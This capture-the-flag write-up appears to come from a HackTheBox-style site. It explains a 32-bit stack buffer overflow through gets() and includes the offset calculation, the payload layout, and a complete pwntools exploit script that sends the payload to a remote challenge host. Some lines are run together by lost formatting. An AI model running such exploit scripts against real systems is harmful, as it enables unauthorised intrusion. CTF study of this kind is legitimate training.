$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: Exploit a 32-bit binary with gets() buffer overflow to call a flag-printing function with correct parameters. Solution: Overflow 188 bytes to overwrite EIP with the flag() function address, place magic values 0xdeadbeef and 0xc0ded00d on the stack as cdecl arguments after a fake return address.
A classic binary exploitation challenge where you are given a 32-bit ELF binary called "vuln" and a remote target to exploit. The binary has a buffer overflow vulnerability that must be exploited to call a hidden flag-printing function with the correct magic parameters.
File: ELF 32-bit, dynamically linked, not stripped
Security:
Key functions (via objdump):
vuln() at 0x08049272 — contains gets() call (buffer overflow)flag() at 0x080491e2 — reads and prints flag.txt, but requires correct parametersvuln() allocates a buffer at ebp - 0xb8 (184 bytes)gets() on this buffer — unbounded read, classic stack buffer overflowflag(param1, param2) function logic:
fopen()fgets() (64 bytes)param1 == 0xdeadbeef AND param2 == 0xc0ded00dprintf() to print the flagBuffer overflow math:
ebp - 0xb8)vuln() to overwrite the saved return address (EIP)flag() function0xdeadbeef, 0xc0ded00d) at the correct stack positionsPayload layout (32-bit cdecl):
[188 bytes padding] [flag() addr] [fake return] [param1] [param2]
'A' * 188 0x080491e2 'BBBB' 0xdeadbeef 0xc0ded00d
Total payload: 204 bytes
#!/usr/bin/env python3 from pwn import * HOST = "154.57.164.82" PORT = 30932 flag_addr = 0x080491e2 offset = 188 payload = b"A" * offset payload += p32(flag_addr) # overwrite EIP -> jump to flag() payload += b"BBBB" # fake return address (don't care) payload += p32(0xdeadbeef) # param1 payload += p32(0xc0ded00d) # param2 r = remote(HOST, PORT) r.recvuntil(b"You know who are 0xDiablos:") r.sendline(payload) response = r.recvall(timeout=5) print(response) r.close()
[return addr of flag()] [param1] [param2]pop rdi; ret. In 32-bit, everything is on the stack — simpler exploitationgets() is always a vulnerability — it reads until newline with no size limit, making buffer overflow trivial$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ grep --similar